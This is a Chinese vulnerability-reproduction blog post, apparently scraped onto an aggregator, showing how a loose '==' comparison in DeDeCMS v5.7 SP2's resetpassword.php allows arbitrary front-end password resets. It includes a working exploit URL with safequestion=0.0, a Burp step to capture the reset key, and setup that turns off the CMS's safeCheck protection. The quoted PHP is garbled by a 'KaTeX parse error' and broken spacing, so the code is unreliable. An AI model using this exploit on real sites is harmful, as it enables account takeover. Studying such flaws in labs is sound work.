DeDeCMS v5.7 SP2 正式版 前台任意用户密码修改(漏洞复现)

本文主要是介绍DeDeCMS v5.7 SP2 正式版 前台任意用户密码修改(漏洞复现),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

1.环境搭建

PHP 5.6
DeDeCMSV5.7SP2 正式版
安装phpstudy,https://www.xp.cn/小皮面板
在这里插入图片描述
先启动Apache2.4.39和MySQL5.7.26
如果他会让你下载,点击是就好!
在这里插入图片描述
让后点击网站—>点击创建网站
在这里插入图片描述在这里插入图片描述
域名自己创建,自己取
其他的不变
点击”创建数据库“

在这里插入图片描述
这些设置好就行
然后重启一下Apache2.4.39
在这里插入图片描述
这里我创建好了我的
在这里插入图片描述然后打开管理
在这里插入图片描述

点击’打开根目录‘并把下载好的DeDeCMS v5.7 SP2
解压

在这里插入图片描述
解压后把里面的文件放入根目录中,这里注意:解压好后的文件里面upload里面的所有文件要拖出来放在根目录里面,最后保存就好

然后我们访问:你在本机上创建的网站的域名/install
然后按着以下教程安装就好!!!
https://blog.csdn.net/qq_38882327/article/details/89356033

当安装好后,后台账号和密码都是amdin
但是注意我们需要去后台把会员注册打开,别忘了调成“是”
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
然后放回页面,退出我们的账号,来到下面这个页面
在这里插入图片描述打开源码目录下D:\phpstudy_pro\WWW\dedecms\include,找到dedesql.class.php和dedesqli.class.php两个php文件,用notepad++打开,然后ctrl+F寻找safeCheck,把TURE改为FALSE,关闭安全检查

在这里插入图片描述

2.漏洞复现

由于前台resetpassword.php中对接受的safeanswer参数类型比较不够严格,遭受弱类型比较攻击

导致了远程攻击者可以在前台会员中心绕过验证,进行任意用户密码重置攻击

漏洞触发位置:dedecms/member/resetpassword.php(75行) else if($dopost ==
“safequestion”)

{

$mid = preg_replace(“#[^0-9]#”, “”, $id);

KaTeX parse error: Expected ‘EOF’, got ‘#’ at position 57: …rid,email
FROM #̲@__member WHERE…mid’";

$row = d b − > G e t O n e ( db->GetOne( db−>GetOne(sql);

if(empty($safequestion)) $safequestion = ‘’;

if(empty($safeanswer)) $safeanswer = ‘’;

if($row[‘safequestion’] == $safequestion && $row[‘safeanswer’] ==
$safeanswer)

{

​ sn($mid, $row[‘userid’], $row[‘email’], ‘N’);

​ exit();

}

else

{

​ ShowMsg(“对不起,您的安全问题或答案回答错误”,“-1”);

​ exit();

}

}

就是这里的判断出现了问题,因为使用了不够严谨的 == 进行了比较,导致if语句的条件为真,就会进入分支,进入sn函数

if($row[‘safequestion’] == $safequestion && $row[‘safeanswer’] ==
$safeanswer)

{

sn($mid, $row[‘userid’], $row[‘email’], ‘N’);

exit();

}

原文链接:https://blog.csdn.net/weixin_52497013/article/details/121468861
后台看到我们uid
在这里插入图片描述这里我们看到mid=2
fouronefour.com/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=2
用bp抓个包,放个包

在这里插入图片描述
在这里插入图片描述
把amp删掉,key=“密钥”
访问此网站,让后改掉密码即可

在这里插入图片描述

这篇关于DeDeCMS v5.7 SP2 正式版 前台任意用户密码修改(漏洞复现)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/450861

相关文章

数据库oracle用户密码过期查询及解决方案

《数据库oracle用户密码过期查询及解决方案》:本文主要介绍如何处理ORACLE数据库用户密码过期和修改密码期限的问题,包括创建用户、赋予权限、修改密码、解锁用户和设置密码期限,文中通过代码介绍... 目录前言一、创建用户、赋予权限、修改密码、解锁用户和设置期限二、查询用户密码期限和过期后的修改1.查询用

python修改字符串值的三种方法

《python修改字符串值的三种方法》本文主要介绍了python修改字符串值的三种方法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学... 目录第一种方法:第二种方法:第三种方法:在python中,字符串对象是不可变类型,所以我们没办法直接

Mysql8.0修改配置文件my.ini的坑及解决

《Mysql8.0修改配置文件my.ini的坑及解决》使用记事本直接编辑my.ini文件保存后,可能会导致MySQL无法启动,因为MySQL会以ANSI编码读取该文件,解决方法是使用Notepad++... 目录Myhttp://www.chinasem.cnsql8.0修改配置文件my.ini的坑出现的问题

Java中的密码加密方式

《Java中的密码加密方式》文章介绍了Java中使用MD5算法对密码进行加密的方法,以及如何通过加盐和多重加密来提高密码的安全性,MD5是一种不可逆的哈希算法,适合用于存储密码,因为其输出的摘要长度固... 目录Java的密码加密方式密码加密一般的应用方式是总结Java的密码加密方式密码加密【这里采用的

mysql重置root密码的完整步骤(适用于5.7和8.0)

《mysql重置root密码的完整步骤(适用于5.7和8.0)》:本文主要介绍mysql重置root密码的完整步骤,文中描述了如何停止MySQL服务、以管理员身份打开命令行、替换配置文件路径、修改... 目录第一步:先停止mysql服务,一定要停止!方式一:通过命令行关闭mysql服务方式二:通过服务项关闭

Android实现任意版本设置默认的锁屏壁纸和桌面壁纸(两张壁纸可不一致)

客户有些需求需要设置默认壁纸和锁屏壁纸  在默认情况下 这两个壁纸是相同的  如果需要默认的锁屏壁纸和桌面壁纸不一样 需要额外修改 Android13实现 替换默认桌面壁纸: 将图片文件替换frameworks/base/core/res/res/drawable-nodpi/default_wallpaper.*  (注意不能是bmp格式) 替换默认锁屏壁纸: 将图片资源放入vendo

【测试】输入正确用户名和密码,点击登录没有响应的可能性原因

目录 一、前端问题 1. 界面交互问题 2. 输入数据校验问题 二、网络问题 1. 网络连接中断 2. 代理设置问题 三、后端问题 1. 服务器故障 2. 数据库问题 3. 权限问题: 四、其他问题 1. 缓存问题 2. 第三方服务问题 3. 配置问题 一、前端问题 1. 界面交互问题 登录按钮的点击事件未正确绑定,导致点击后无法触发登录操作。 页面可能存在

两个月冲刺软考——访问位与修改位的题型(淘汰哪一页);内聚的类型;关于码制的知识点;地址映射的相关内容

1.访问位与修改位的题型(淘汰哪一页) 访问位:为1时表示在内存期间被访问过,为0时表示未被访问;修改位:为1时表示该页面自从被装入内存后被修改过,为0时表示未修改过。 置换页面时,最先置换访问位和修改位为00的,其次是01(没被访问但被修改过)的,之后是10(被访问了但没被修改过),最后是11。 2.内聚的类型 功能内聚:完成一个单一功能,各个部分协同工作,缺一不可。 顺序内聚:

【Kubernetes】K8s 的安全框架和用户认证

K8s 的安全框架和用户认证 1.Kubernetes 的安全框架1.1 认证:Authentication1.2 鉴权:Authorization1.3 准入控制:Admission Control 2.Kubernetes 的用户认证2.1 Kubernetes 的用户认证方式2.2 配置 Kubernetes 集群使用密码认证 Kubernetes 作为一个分布式的虚拟

如何在运行时修改serialVersionUID

优质博文:IT-BLOG-CN 问题 我正在使用第三方库连接到外部系统,一切运行正常,但突然出现序列化错误 java.io.InvalidClassException: com.essbase.api.base.EssException; local class incompatible: stream classdesc serialVersionUID = 90314637791991